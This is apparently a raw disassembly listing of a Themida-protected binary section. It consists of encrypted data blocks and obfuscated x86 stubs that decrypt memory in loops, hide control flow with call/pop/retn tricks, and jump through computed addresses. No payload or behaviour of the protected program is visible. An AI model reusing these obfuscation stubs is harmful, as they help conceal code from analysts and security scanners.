dd 0A193DE71h, 6E94EC9h, 0DD000000h, 0DE8E253Eh, 9BD0112h
dd 0C7061222h, 1231BD85h, 6AC806h, 51006A00h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1D04h, 0C3514100h, 5A7F51EEh
dd 0E3E1F264h, 85C7CEEDh, 6120011h, 0
; ---------------------------------------------------------------------------
mov edx, 15E1135Bh
push dword ptr [ebp+6120835h]
mov [ebp+61203D1h], ebx
call dword ptr [ebp+6122781h]
push 0
push edx
call sub_5EE426
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5EE426 proc near ; CODE XREF: Themida_:005EE41Ep
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 18h
inc edx
push edx
retn
sub_5EE426 endp
; ---------------------------------------------------------------------------
cmpsd
pop esp
sbb al, 9Bh
or byte ptr [ebx-0FF953Dh], 95h
shr dword ptr [ecx], 1
loc_5EE443: ; CODE XREF: Themida_:005EE4A2j
adc al, [esi]
mov eax, eax
jmp short loc_5EE496
; ---------------------------------------------------------------------------
db 0D6h, 74h, 17h
dd 0BFFA271Fh, 2383B9A2h, 1B78B48h, 77EA9987h, 25E4D9DEh
dd 844AEECCh, 0E53AFBF1h, 8681B21Ch, 0BB6707CDh, 0ACF5F4FBh
dd 0D5DB7DEBh, 0D427E95Dh, 9A2FCA9Dh, 21E1800Ch, 40D2C97Dh
dd 4DB460Ch, 0C648F8B6h, 0A8F5D83Eh
db 0A0h, 58h
; ---------------------------------------------------------------------------
loc_5EE496: ; CODE XREF: Themida_:005EE447j
call sub_5EE4A4
cmp ch, al
aaa
out 98h, eax
cmp al, 4Bh
jecxz short loc_5EE443
; =============== S U B R O U T I N E =======================================
sub_5EE4A4 proc near ; CODE XREF: Themida_:loc_5EE496p
mov [ebp+6120B7Dh], edi
pop edx
and cx, 5191h
add edx, 614Ah
mov [ebp+6122DADh], eax
xor eax, eax
mov [ebp+612149Dh], ebx
loc_5EE4C4: ; CODE XREF: sub_5EE4A4+7Dj
push dword ptr [eax+edx]
pop edi
mov [ebp+6121FC5h], eax
xor edi, 31C55F92h
sub cx, 95CEh
add edi, 5F5EA10Eh
mov [ebp+6122FC9h], edi
xor edi, 557EBC1Fh
mov esi, [ebp+6122371h]
mov [edx+eax], edi
or [ebp+6122C61h], edi
jnp loc_5EE508
jo loc_5EE508
push esi
pop ebx
loc_5EE508: ; CODE XREF: sub_5EE4A4+56j
; sub_5EE4A4+5Cj
sub eax, 5C4D2EE7h
cmc
add eax, 5C4D2EE3h
mov ecx, [ebp+6122A89h]
cmp eax, 0FFFF9F44h
jnz loc_5EE4C4
mov [ebp+6122EFDh], ebx
jmp loc_5EE545
; ---------------------------------------------------------------------------
dw 38A7h
db 2Eh, 2Dh, 4 dup(0)
align 4
dd 2 dup(0)
db 0
; ---------------------------------------------------------------------------
loc_5EE545: ; CODE XREF: sub_5EE4A4+89j
jmp loc_5EEA7D
; ---------------------------------------------------------------------------
push 6192BB7h
jmp loc_583BD9
; ---------------------------------------------------------------------------
push 6192C25h
jmp loc_583BD9
; ---------------------------------------------------------------------------
push 6192D90h
jmp loc_583BD9
; ---------------------------------------------------------------------------
dd 1562ADE4h, 0B2FF107Ch, 519E7119h, 0EB38D7B8h, 87D43B52h
dd 0BDD01E97h, 1F6C0552h, 860AA3F0h, 0EBA33C89h, 0AEFDD724h
dd 0F889E1A6h, 0EFC5A24Dh, 92F5FD14h, 0F147DF5Fh, 4B4253E6h
dd 0C8C68FC4h, 949DFA47h, 0BDA7A3EFh, 0DFADD2B5h, 7DA6B147h
dd 2C34102Ch, 47E0155Bh, 47B21D28h, 33CA8088h, 8D0E49F2h
dd 0D4182B5h, 4446A791h, 0E5F038CBh, 0BCD089B0h, 2B60C053h
dd 0C84DF197h, 0B3E80889h, 0B968FB0Eh, 8007DA26h, 24AEF100h
dd 73DEAF68h, 8DBEAF38h, 87BC2797h, 451F21B4h, 71000003h
dd 0C243AE9Bh, 137AE744h, 298AD3FCh, 0B9C2972Ah, 2358B7D6h
dd 2F93F4FCh, 0E5F047E0h, 48500F7Ah, 49F24606h, 1B7459DAh
dd 0E02C1682h, 0B4DD28D7h, 0EC7F4335h, 4A3D45A4h, 394DF248h
dd 9272C32Eh, 48B5AF84h, 39F8DDE6h, 0B18945B8h, 6AFD30B7h
dd 4EABF3FBh, 8F9A4569h, 0DDC4CD5Ah, 50AD161Eh, 0CBD64757h
dd 4E3CF50Ch, 174CC3CBh, 0D1A4D944h, 0B8612D3Eh, 2F0237D8h
dd 0B0DE77C4h, 846BE05Fh, 0C26716CEh, 351FBh, 39D6BB00h
dd 0D63953ECh, 759AF089h, 0F008F28h, 0AB6429C2h, 0A7476E5Eh
dd 43DC29E6h, 0E17AC748h, 7A1360AFh, 0D4AEFB14h, 8B0A7D85h
dd 9C794DF8h, 0C0A5AEC6h, 81F6F901h, 1A2549F6h, 24EBA25Bh
dd 0C04F3ED7h, 454D648Bh, 4DF88A42h, 43A33641h, 4DF88949h
dd 4361B73h, 3AD5BA18h, 0AA093205h, 209F0AF1h, 145FE721h
dd 0E3C58C31h, 4D000002h, 0E57ECB44h, 821B68A7h, 21BA0708h
dd 0BB54A16Eh, 0F03DD2h, 0BB5439B5h, 59B6D56Eh, 0F21D730Ch
dd 8D820CA5h, 0F176640h, 4DF88B78h, 0AE582E0Bh, 0EA01C0A5h
dd 0D3B4BCD3h, 0B047DF5Fh, 5F92F5A5h, 92F147DFh, 0DF5FFD8Ah
dd 8737E47h, 81DA1575h, 0BEC949F6h, 8A1A7189h, 0BDD94DF8h
dd 22EA6B24h, 0B3ADD42Bh, 178ADF49h, 5EC9EAEBh, 4B808FFDh
dd 1878E578h, 0CD24A573h, 1D0h, 0F31C721Fh, 7699F5BEh
dd 8FB13229h, 0B15E2F89h, 75443F88h, 1D040DE2h, 7738565Eh
dd 444F49F2h, 2494F70Fh, 65264DF2h, 0E1AC75AAh, 52BD5238h
dd 99EEF61Dh, 0EA4DF224h, 13CE82DFh, 2257B8D8h, 0A0BCE44Fh
dd 274A4A41h, 329F24AEh, 0F1000000h, 1C0A5AEh, 0F17ECDF9h
dd 58373849h, 812C5B63h, 444F4DF1h, 66D1A4D9h, 80721931h
dd 65814DF1h, 315A137Ch, 0E6DE4BDEh, 3324AEDFh, 0D6h, 335B1485h
dd 563849DCh, 0D2BB84B9h, 4F3F083Dh, 0CCC28BC0h, 6D538985h
dd 62CDAFE7h, 0B0442D15h, 0E4AA47DFh, 0D0E7DE2Bh, 0DFB1BFC8h
dd 759AF347h, 0CAD56D40h, 6C596237h, 7996F4ADh, 0AA6F77E6h
dd 9949F254h, 0B01BF498h, 0BA5538F1h, 0C54A42FBh, 46C9C790h
dd 0B24B48DBh, 0AFD8E0DBh, 0CC4DF457h, 60D756C1h, 0D2EBAD87h
dd 178662Dh, 0AFE20000h, 127A1360h, 7317B0FDh, 0D9B64F9Ch
dd 3D50E936h, 209585D2h, 350BFCEh, 0A1EE216Ah, 3A878808h
dd 0D522EDA1h, 0E3A4ACFBh, 0A04DF88Ch, 0FD14EDC3h, 0DF5F92F5h
dd 53E6F147h, 5C44B42h, 5FA1E6EEh, 0D7E247DFh, 97504744h
dd 76871AF5h, 7F38F718h, 7471040Bh, 9E5667Dh, 0F0F4ED4Bh
dd 0F67710C0h, 0F90447DFh, 1C723866h, 137B34F3h, 52353DFCh
dd 3147DF5Fh, 87AE9326h, 600D9606h, 8C4B2869h, 0E02F0384h
dd 0E2758047h, 552BDD1h, 0F3B29FA8h, 0F27D15EBh, 5E1D2849h
dd 0FB6BC647h, 0AED73853h, 13A6FA0Eh, 37848B02h, 0B5068740h
dd 0F1FFDAADh, 339EA94Dh, 38982BFEh, 4DF1FF53h, 9BE82767h
dd 0C5848B02h, 0CBCF820Ch, 2F7C2B03h, 0C598CD38h, 3589FE06h
dd 0EFFA4DF2h, 97B0775Ch, 1A000000h, 646CA5AEh, 47DF6023h
dd 2BEA5560h, 0F681D023h, 0F9B8C349h, 89ADDAE2h, 0C3CE4DF8h
dd 6B244B30h, 81C7F01Fh, 29FA7593h, 781627BAh, 0AF8547D9h
dd 49B4DA00h, 0E42B63FCh, 0F52D97AFh, 0A6BA32ADh, 3ED1523Bh
dd 0AA04B8BFh, 86E12EF2h, 940D205Dh, 0B39EF001h, 476D6C89h
dd 43026DCDh, 0AEB6058Ah, 750DD2D9h, 0A1349FAAh, 8C830BA4h
dd 18018E57h, 29E6A475h, 4BB621F4h, 5F826E16h, 46050A84h
dd 0D260272Fh, 1823750Dh, 9FEF8885h, 3743B70h, 0DE000000h
dd 1F723422h, 9CF2BBF0h, 1B753E73h, 95F6BFF4h, 117C457Ah
dd 8D00C9FEh, 0B844D82h, 8406CF04h, 0FF8D568Bh, 68D4DB10h
dd 0F3Ch, 68241489h, 6111h, 68241489h, 4684h, 57243C89h
dd 192A8EBFh, 8BFA8906h, 0C481243Ch, 4, 243C8B54h, 6804C483h
dd 11A8h, 81241489h, 4ECE2404h, 478F60F0h, 86F8108h, 60F04ECEh
dd 5F2434FFh, 8B04C483h, 89512414h, 4C181E1h, 83000000h
dd 0C8704C1h, 6AE95C24h, 3CFFF951h, 30BF98C0h, 0C053D65Dh
dd 8CAFF509h
; ---------------------------------------------------------------------------
push ecx
loc_5EEA7D: ; CODE XREF: sub_5EE4A4:loc_5EE545j
mov eax, 6192F2Dh
add eax, ebp
jmp eax
sub_5EE4A4 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
dw 3Fh
dd 7AEC474Ch, 0A1DC6A31h, 0D09D231Eh, 0B2427651h, 3B8465A1h
dd 6C2932E4h, 8296447Dh, 645F442Bh, 0F20434A1h, 0FF3A4778h
dd 8F28309Ah, 0BC0D2690h, 7E85675h, 99000000h, 0B3E6D27Fh
dd 8166A9B5h, 5A26DBD6h, 0C2816BB4h, 665Ah, 3870Fh, 0DF800000h
dd 30E9BFA8h, 0EF812DA7h, 2DA7177Bh, 569EFFBEh, 0F0A8B6Ch
dd 386h, 0DABF0F00h, 9CE6F181h, 8B660A29h, 0DAC181F2h
dd 0E95BC9F1h, 6, 34D70DD0h, 0F181A84Fh, 6F6523A4h, 0BE660A89h
dd 0EA81B6A1h, 6BB3A08Dh, 2E5CBB66h, 0A089C281h, 0BF0F6BB3h
dd 1EF81F2h, 0F000000h, 1085h, 0D3816600h, 1EE9ABC1h, 0AC000000h
dd 94EC37E7h, 0C78B66E9h, 0FFFF98E9h, 23A7A7FFh, 0F56BC24Ch
dd 5A7A41D9h, 0D92EB351h, 458D8DD4h, 6A061931h, 3E85200h
dd 20000000h, 895AC35Ah, 81042454h, 17042444h, 42000000h
dd 0B6C8C352h, 8D898E64h, 6122DCDh, 11958B60h, 8906121Eh
dd 1213E195h, 85C76106h, 61231BDh, 5BBCh, 303D858Bh, 85C70612h
dd 6120011h, 0
; ---------------------------------------------------------------------------
push 0
push ebp
call sub_5EEBC3
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5EEBC3 proc near ; CODE XREF: Themida_:005EEBBBp
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 16h
inc ebp
push ebp
retn
sub_5EEBC3 endp
; ---------------------------------------------------------------------------
xchg eax, edi
push 1195895Bh
push ds
adc al, [esi]
push dword ptr [ebp+61214C1h]
mov eax, 46B13706h
mov [ebp+6121765h], esi
call dword ptr [ebp+6122781h]
push 0
push edi
call sub_5EEBFE
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5EEBFE proc near ; CODE XREF: Themida_:005EEBF6p
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 1Dh
inc edi
push edi
retn
sub_5EEBFE endp
; ---------------------------------------------------------------------------
dw 0DFFDh
dd 81A735F3h, 6F641D21h, 95FF006Ah, 61229D1h, 4CEBC08Bh
dd 6AF9C063h, 0AE5A6998h, 0C773BF51h, 0B0775C70h, 2D798CB7h
dd 41340172h, 0D830148Fh, 4335D27h, 82E4B04Eh, 1F9CFF2Ch
dd 0A7D8B012h, 0F6B21B0Ah, 0BC3BA195h, 4A6DFECFh, 0ECB116C1h
dd 0B513A84Eh, 7713A289h, 0B38D5D11h, 12B2BF0Ah, 0EE8h
dd 356D2B00h, 2CA65AF1h, 39B54323h, 66F84B43h, 2226D881h
dd 39B5895Fh, 81061232h, 680FC7h, 6880F00h, 8B000000h
dd 1233E9B5h, 0DE06B906h, 0F18132A8h, 32A8C7DDh, 6E9h
dd 20241800h, 0FFAEB672h, 0EB816637h, 0B85A4063h, 2AD60564h
dd 0D49FF281h, 852B0BD8h, 612249Dh, 0DB6DEA81h, 858B779Ch
dd 61212C9h, 4121F281h, 0EC806FD2h, 8FF852A8h, 4EF8307h
dd 49F08B66h, 0A850Fh, 21E90000h, 0B6000000h, 802F507Ch
dd 0CD9D8B60h, 0B3061232h, 0A8E961F2h, 42FFFFFFh, 0D53E0D41h
dd 91C95AC2h, 0D5A203E9h, 0CE8h, 5F6BBC00h, 68C36983h
dd 5B165B57h, 8158FCC7h, 6F6EC0h, 0D9D8B00h, 0B906122Ah
dd 1BB4h, 0C8E0Fh, 8A0F0000h, 6, 150D9589h, 108B0612h
dd 1C458531h, 0F2810612h, 6613A14Eh, 68CB8166h, 36EA8149h
dd 8B051155h, 12249D9Dh, 83C28106h, 0F5B6E98h, 685h, 5BD78100h
dd 893B08A6h, 4DB58B10h, 83061228h, 9E801E8h, 9000000h
dd 6C6D0051h, 5359918h, 32EDB58Bh, 485F0612h, 0F494848h
dd 0FFFFA585h, 11E9FFh, 31A80000h, 0BE54741Dh, 8B59B12Dh
dd 11B58B16h, 0E8F0C7F3h, 0Ch, 0C4F2D964h, 0AF493370h
dd 56720090h, 19A0BE66h, 0E58D895Fh, 81061203h, 5E2BC7h
dd 0B98D0100h, 68061220h, 0
; ---------------------------------------------------------------------------
stc
pop ecx
jo loc_5EEDFE
sub eax, [ebp+61211F5h]
loc_5EEDFE: ; CODE XREF: Themida_:005EEDF2j
; Themida_:005EEE6Aj
push dword ptr [ecx+edi]
mov [ebp+6122D7Dh], ecx
pop ebx
mov [ebp+6120395h], esi
sub ebx, 34D3AEFBh
mov [ebp+6120C51h], edx
xor ebx, 7E4F551Fh
mov eax, [ebp+61226A9h]
xor ebx, 39978DBBh
add ah, 0C9h
push ebx
xor [ebp+6121769h], edi
pop dword ptr [edi+ecx]
jbe loc_5EEE47
push esi
mov [ebp+612183Dh], eax
pop edx
loc_5EEE47: ; CODE XREF: Themida_:005EEE39j
or [ebp+6121B39h], ecx
sub ecx, 53483F65h
or si, 6791h
add ecx, 53483F61h
mov [ebp+61211E1h], ebx
cmp ecx, 0FFFFA28Ch
jnz loc_5EEDFE
jmp loc_5EEE83
; ---------------------------------------------------------------------------
db 9Dh, 1Dh, 0C8h
dd 0A38DCD04h, 69F57B20h
db 0BDh, 0FAh, 9Dh
; ---------------------------------------------------------------------------
loc_5EEE83: ; CODE XREF: Themida_:005EEE70j
jmp loc_5EEEAC
; ---------------------------------------------------------------------------
dd 8FB4994h, 8 dup(0)
; ---------------------------------------------------------------------------
loc_5EEEAC: ; CODE XREF: Themida_:loc_5EEE83j
jmp loc_5EF3BD
; ---------------------------------------------------------------------------
db 9Bh, 0F6h, 19h
db 0CCh
db 33h, 59h, 0B6h
dd 55BAD069h, 0EF206F08h, 8B8409A2h, 87674E3Eh, 23BC0906h
dd 0C15AA768h, 5AF340CFh, 0B48EDB34h, 932A5D65h, 7C594DF8h
dd 0F31C72A6h, 0B998F5BEh, 92D1A725h, 33AE6411h, 0EB448h
dd 0B26B2A95h, 2BFE33DCh, 1523646Ch, 556047E0h, 622CC5C2h
dd 0DFAF78ADh, 14B3D4DCh, 0C5D047E0h, 45FE255Ah, 2233C649h
dd 0DA70A56Ah, 29FA22A3h, 0B3E001FCh, 0E20DD420h, 7D1663ACh
dd 16AFFC13h, 9760957Ah, 3EE61BF4h, 0DFF68F52h, 0DFE5B0D7h
dd 35C8D347h, 56A36C24h, 2988DE5Fh, 0D4F5E06Eh, 0B15E3041h
dd 0EE9C557Ch, 602E8E21h, 3C47DFFBh, 0F77811D0h, 845F9797h
dd 309D308Ah, 22BCCF50h, 6885h, 1C72D700h, 0E7A6BEF3h
dd 0D347DF5Fh, 551E53BCh, 1578D936h, 62E6C5FAh, 6BD75A7Fh
dd 0FEB70F76h, 16422BCh, 0B6000000h, 0C0F51A72h, 457A95F7h
dd 3DFC137Ch, 71040B84h, 0FFE2F68Ch, 1A67A8E4h, 0B394A223h
dd 36017E62h, 55FC92A3h, 19210A3Fh, 47E00F6Eh, 0DAD9020Dh
dd 226FDA4Eh, 0C7E7AA2Bh, 0E708D70Fh, 6BFE69A6h, 335B143Dh
dd 60078088h, 697447DFh, 63F6C9FEh, 9FD43B52h, 2459B6D6h
dd 0A9DE315Bh, 0A6A3AEE0h, 8DAA504Eh, 0C26A9F0Ah, 5FD60BD6h
dd 0B2DB06DBh, 1777105Dh, 1A858A02h, 0A16E1CE5h, 27E8A36Ch
dd 0C4C3CBF2h, 0B747DF93h, 0CF404BACh, 0DB06F29Ah, 1FC2DE06h
dd 0BCC81868h, 21294022h, 47DF9D66h, 75770A15h, 0B0h, 0F41B72C7h
dd 0FB147C35h, 0D0BA8368h, 4B410A3Fh, 0CAC68FC4h, 974B1045h
dd 3067954Ah, 69FC1377h, 4ACBC41Dh, 0C6C04936h, 7A95F853h
dd 226B7C0Fh, 477C93F7h, 937C1374h, 4B42DB28h, 0E6EE05C4h
dd 47E059A1h, 5F44D7E2h, 5716F996h, 594F3840h, 212C47E0h
dd 0AC3FD0C0h, 7E91FEC7h, 40B8049h, 878806CFh, 3D517F52h
dd 0FB173FA4h, 6579FE6h, 55E422BCh, 36000000h, 0BFF41B72h
dd 40759AF6h, 0C2F71877h, 68693F9h, 0A0699E09h, 0F6E222EDh
dd 1D61F6EBh, 0AB6429C4h, 0B35C33ECh, 5A3ED7Eh, 137B353h
dd 0F060396h, 78D93656h, 3C6AFD12h, 0DD325B14h, 0BC53394Ah
dd 601F6F87h, 0F7B47DFh, 0FEDBBBD2h, 11022BCh, 62000000h
dd 0C2F71872h, 457A95F9h, 0B530B19Dh, 90ED3AD5h, 0D3DB9A87h
dd 49F1832Bh, 11DA0F1Ah, 0AC45927Dh, 0E0F82DE2h, 4DF18CADh
dd 6AF576DDh, 28548C99h, 7E91FF60h, 0A7429FEBh, 526928E7h
dd 0F22F3D4Ah, 0A0333E4Dh, 8B840AA3h, 50018D56h, 1132A7C4h
dd 338A337h, 0A641A024h, 0E3DA27E8h, 0B5C14162h, 0ED80E634h
dd 0AE720080h, 10DD524h, 0AE270000h, 4AC5CAA5h, 0A1820DFh
dd 0F549F177h, 0C142BEAh, 4DF1787Bh, 29C14E3Fh, 0DDA68B1Eh
dd 8AB4A0B1h, 648D820Ah, 2E99441Bh, 0C94648E1h, 4CC3CB94h
dd 2DB43817h, 0F643CCC2h, 0AE148101h, 4A5624h, 0AEA80000h
dd 0E900BFA4h, 7CB15E30h, 5F8EF9A9h, 0E2ED47DFh, 6EE688B9h
dd 8619439Bh, 49580F17h, 606BC7E0h, 7474132Bh, 6B42C7DEh
dd 0DBE3D8B2h, 0C7DE74ACh, 0C659C4CFh, 0AEB8677Ah, 6DFA02C1h
dd 8E47DE74h, 809F3683h, 9000000h, 1C0A5AEh, 0F18155F9h
dd 70A5B049h, 10FF9049h, 647508DBh, 0FF98E52Ah, 244B808Fh
dd 192F5A3h, 7B0E68A6h, 0F16D711Bh, 0BE23674Dh, 0E5A46B23h
dd 6EC1C6CEh, 0B7C24DF1h, 77302724h, 0F1C4F916h, 0BFE737C8h
dd 90238D91h, 4C3B2BBh, 0B9CED6EDh, 0CA4DF193h, 0E02F5EBFh
dd 0BF74ED4Dh, 7A435008h, 16767248h, 80C7D0F9h, 844D82EDh
dd 28D0050Ah, 7D86A53Ch, 90D1D998h, 5F4A01B2h, 0AE510754h
dd 0F901C0A5h, 49F68B68h, 4E174C57h, 0E982CF40h, 1D356AA5h
dd 373B02EEh, 0F1F9C2CCh, 50DAA296h, 3A6FDAE5h, 0BEF31C71h
dd 0A2F88F97h, 808B50DAh, 588D5440h, 20CB162Ah, 2AE5AB6Eh
dd 0B5D972BFh, 335C255Ah, 0AEDEA7DCh, 28632C61h, 1E0AB2E7h
dd 0CFDE1EC3h, 511AA54Eh, 0E578183Ch, 0F19D4899h, 5638D11Eh
dd 0F879FAB9h, 45CAC6DCh, 0BB143D10h, 8166F954h, 669DD95Ah
dd 56A95E59h, 0DB4C3h, 221E0000h, 0B3D4DCF3h, 0D047DF5Fh
dd 720432C5h, 0F2BBF01Fh, 753E739Ch, 0F6BFF41Bh, 7C457A95h
dd 0C9FE11h, 844D828Dh, 6CF040Bh, 8D568B84h, 0D4DB10FFh
dd 81E38953h, 4C3h, 4EB8300h, 5C241C87h, 53242C89h, 0C381E389h
dd 4, 8704EB83h, 895C241Ch, 8950240Ch, 405E0h, 0E8830000h
dd 24048704h, 243C895Ch, 33D7BA52h, 59520619h, 3C8B545Ah
dd 4C48324h, 2B4168h, 24348900h, 7789CE89h, 34FF5E08h
dd 0C4835F24h, 240C8B04h, 81E78957h, 4C7h, 4C78100h, 87000000h
dd 0E95C243Ch, 0FFF9481Dh
db 0EBh
; ---------------------------------------------------------------------------
loc_5EF3BD: ; CODE XREF: Themida_:loc_5EEEACj
mov eax, 619386Ah
add eax, ebp
jmp eax
; ---------------------------------------------------------------------------
dw 0DBCDh
; ---------------------------------------------------------------------------
retf 2637h
; ---------------------------------------------------------------------------
db 0A6h
dd 4EF6FF9h, 0EA4C058Fh, 0F36E39A9h, 0D71414E0h, 7481523Dh
dd 8C9012EAh, 6B821CF0h, 5F20433Ah, 0C08B74E5h, 2F01BD83h
dd 75000612h, 49BD8309h, 61221h, 53501974h, 21B8C08Bh
dd 89000004h, 120B3585h, 99D8D06h, 0FF0614ADh, 83585BD3h
dd 122149BDh, 17740006h, 21B85350h, 89000004h, 120B3585h
dd 0F89D8D06h, 0FF0614A9h, 8B585BD3h, 619D8BC0h, 0C6061224h
dd 1215C185h, 52685606h, 0FF9CA8B8h, 123101B5h, 7A858D06h
dd 0FF061582h, 68046AD0h, 1000h, 0B81B5FFh, 6A0612h, 0C085D0FFh
dd 0D850Fh, 0B80000h, 8D000000h, 1273088Dh, 8BE1FF06h
dd 3C38BC8h, 0F8053C40h, 8B000000h, 0D3030C50h, 849BD83h
dd 0F000612h, 0E84h, 499D8B00h, 8B061208h, 121E8985h, 51038906h
dd 68858D52h, 0FF06127Ch, 8BFA8BD0h, 8BD18BF1h, 0C6A4F3C8h
dd 1215C185h, 39685606h, 0FFD41F6Dh, 123101B5h, 7A858D06h
dd 0FF061582h, 800068D0h, 6A0000h, 8BD0FF52h, 1BD83C0h
dd 6122Fh, 0BD830975h, 6122149h, 50197400h, 0B8C08B53h
dd 421h, 2B98589h, 9D8D0612h, 614AD70h, 585BD3FFh, 2149BD83h
dd 74000612h, 0B8535017h, 421h, 2B98589h, 9D8D0612h, 614AA11h
dd 585BD3FFh, 9D8DC08Bh, 6120849h, 0C00B038Bh, 7840Fh
dd 38B0000h, 89045B8Bh, 4B41B818h, 5E80000h, 9000000h
dd 0D1066B45h, 0C555EF81h, 0E95A4682h, 0Fh, 223CA15Ch
dd 9B88EB79h, 0D992E96Eh, 81EBB860h, 0D7CCC2h, 0FFDB3300h
dd 13E81334h, 0AC000000h, 0B3D6FD6Ah, 0E8AED3A5h, 5DFD1B6Bh
dd 66079641h, 0BE66FBA8h, 58597DC6h, 0FABF0F53h, 3FF08159h
dd 0F476705h, 0C081FFBFh, 0E2A69FFh, 51CA8B60h, 5D17BB66h
dd 0E881615Bh, 20ECDF09h, 1CB96650h, 1A048F79h, 81F1BF0Fh
dd 0DB407EEBh, 81F38B34h, 0DB407AC3h, 81F18B34h, 0FF28ECFBh
dd 13850FFFh, 8A000000h, 21E9EBh, 0F4AE0000h, 762F567Eh
dd 0C954A55Ah, 0DE81D05Bh, 33A3698Fh, 0FFFF76E9h, 46C759FFh
dd 0D059949Ch, 0E9E10A15h, 2Ah, 2404C7h, 0E8000000h, 0
; ---------------------------------------------------------------------------
pop ebp
sub ebp, 6193B4Ah
mov eax, [esp+4]
mov [ebp+6120F0Dh], eax
mov eax, 0
lea ecx, [ebp+6124E4Bh]
jmp ecx
; ---------------------------------------------------------------------------
dw 54B8h
dd 55000067h, 5E75FDEDh, 0A476F67Ah, 0BC56E669h, 3100FD49h
dd 1F66FD24h, 0BA7FD24h, 8105FD24h, 44F7FD24h, 0A6EDFD24h
dd 0D7CAFD24h, 6FABFD24h, 3386FD24h, 1CCDFD24h, 0B9AFD24h
dd 83FFFD24h, 4558FD24h, 0A739FD24h, 0D61AFD24h, 6DC6FD24h
dd 312AFD24h, 259DFD24h, 2295358Ah, 4A76D6A2h, 0BD5CDE71h
dd 5A5CF44Bh, 2775FD7Ah, 9775F572h, 0CB74FD79h, 0ED73FD78h
dd 0F374F57Dh, 7874FC7Bh, 0BC75FC7Bh, 5E75FD7Ah, 0BF76FD7Ah
dd 1375A3F3h, 0CB75A3F0h, 0E475FD7Ah, 0F374FC7Bh, 9074FC7Bh
dd 0BC75F8B2h, 0DBF0701Ah, 0A673E445h, 8E4E41FFh, 50F0707Ch
dd 6C73E445h, 0EB4E81FFh, 0A0F0707Ch, 3573E445h, 474E45FFh
dd 16F0707Ch, 1E73E445h, 0D24E7DFFh, 1DF0707Ch, 7B73E444h
dd 604E79FFh, 2AF0707Ch, 0D773E447h, 364E75FFh, 3FF0707Ch
dd 4273E447h, 0FC4E71FFh, 4CF0707Ch, 0F073E447h, 0A54E6DFFh
dd 47F0707Ch, 0A673E444h, 8E4E61FFh, 2EF0707Ch, 6C73E447h
dd 0EB4E69FFh, 7DF0707Ch, 3573E444h, 474E65FFh, 36F0707Ch
dd 1E73E444h, 0D24E61FFh, 0B6F0707Ch, 7B73E444h, 604E51FFh
dd 0CEF0707Ch, 0D773E444h, 364E4DFFh, 2F0707Ch, 4273E444h
dd 0FC4E49FFh, 2CF0707Ch, 0F073E444h, 0A54E5DFFh, 4BF0707Ch
dd 0A673E445h, 8E4E59FFh, 7BF0707Ch, 6C73E445h, 0EB4E55FFh
dd 80F0767Ch, 3573EF6Fh, 474E08FFh, 0CAF0767Ch, 1E73EF5Ch
dd 0D24E04FFh, 0B0B69C7Ch, 0F29D11F1h, 2375FD7Ah, 817C17FBh
dd 0D525FB63h, 0ADFDF53Fh, 916CC68Eh, 0CFB73422h, 0B723AC7Ah
dd 1A20AD29h, 7975FD7Ah, 96987C27h, 0A073E447h, 364E86FFh
dd 0ECC87D7Ch, 0CF73E441h, 0E4C5B409h, 0F9B54B75h, 863589BAh
dd 0A54E04EFh, 96FEBD7Ch, 2F7A452Bh, 28AFD7Ah, 0CD6CC683h
dd 0DE0948F7h, 0C6F8FB63h, 4B9D50FCh, 0CF75FD7Eh, 5E76456Fh
dd 0BA8AFD7Ah, 916CC683h, 0F00948F7h, 0D1F8FB63h, 228A50FCh
dd 87BC1F23h, 0A54E86F7h, 52DA07Ch, 0EC2CA320h, 97776D92h
dd 0C1CD4D7Ah, 708A5779h, 0F46CC68Fh, 79D3ED1h, 0DA75FD78h
dd 54CD9BC2h, 0D0DE9B59h, 8E4E08EFh, 8DE9B7Ch, 0E5779592h
dd 0F3360B7Ah, 866E8872h, 0A54E08EFh, 54C54D7Ch, 0BA8AAD79h
dd 916CC68Fh, 2BF69B20h, 277E9B7Eh, 1AB6561Ch, 7975FF6Bh
dd 0BE4E1529h, 652FFD7Ah, 0A57B89A0h, 94913D59h, 7F5DF70h
dd 83FE4DBAh, 9D3ED1h, 2A75FD7Bh, 0BC77E192h, 844EA77Ah
dd 49C5120Eh, 7FA916D0h, 0CB75FCA7h, 0ED74BE8Ch, 1A26D30Fh
dd 7975FF7Bh, 0BD360B20h, 65548872h, 0A56889A0h, 94913D59h
dd 7F5DF70h, 0B5FF4DBAh, 0C9806885h, 1F2FFB63h, 0DA51FD5Fh
dd 0F5133F71h, 85E94DB9h, 9774BD92h, 61F44D7Ah, 0E5743592h
dd 0F22D157Ah, 91DEFD7Ah, 0BC75FC57h, 9DDF60CAh, 0C7DF61CAh
dd 9775FC5Bh, 4A13451Ch, 439D561Ch, 1A75FD7Bh, 7975FD4Ch
dd 0B69D561Ch, 0EE75FD7Bh, 9FB657E7h, 699D57E6h, 2375FD7Ah
dd 0E575FCF3h, 0FA74BE8Ch, 0F9C5F20Fh, 0BC6515D0h, 0DEDFFD7Ah
dd 487DF99Eh, 97AA1584h, 56C5FD7Ah, 0E2CD3ED0h, 0D75FD7Ah
dd 604E04EFh, 7CC0707Ch, 5D73E441h, 2C7F518Ah, 62E002D0h
dd 873E441h, 0E574E592h, 0F8254D7Ah, 4B9D5779h, 548A0284h
dd 5E75FC43h, 2C7FA5CAh, 0C7C53ED0h, 61274DD0h, 1A8BE192h
dd 0FDCD9B85h, 91DE9B4Bh, 438A036Bh, 0EEDFA7CAh, 9FB65722h
dd 3C225792h, 0CB750C92h, 22FEA77Ah, 1AF63F51h, 9177747Eh
dd 438A008Bh, 5E750592h, 252D4D7Ah, 69B65779h, 0D24E8FFFh
dd 97C87D7Ch, 0F373E441h, 0FCF8EC0Fh, 0BA6CC69Eh, 5C61152Ah
dd 1B9DFD7Ah, 2775FD78h, 759D571Ah, 0D8A0287h, 0D8A00C3h
dd 87DF9CCAh, 0A54E8FF7h, 2CC87D7Ch, 2F73E441h, 12F8F10Fh
dd 0CD6CC69Eh, 0E4DE152Ah, 4AB6FD7Ah, 7975FD7Eh, 878C6885h
